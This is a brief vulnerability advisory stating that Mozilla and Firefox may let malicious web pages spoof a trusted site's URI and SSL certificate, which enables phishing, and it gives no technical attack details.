Mozilla and Firefox may permit malicious Web pages to spoof security properties of a trusted site.

An attacker can exploit this issue to spoof the URI and SSL certificate of a site trusted by an unsuspecting user. The attacker can then use this spoofing to steal sensitive or private information, facilitating phishing attacks
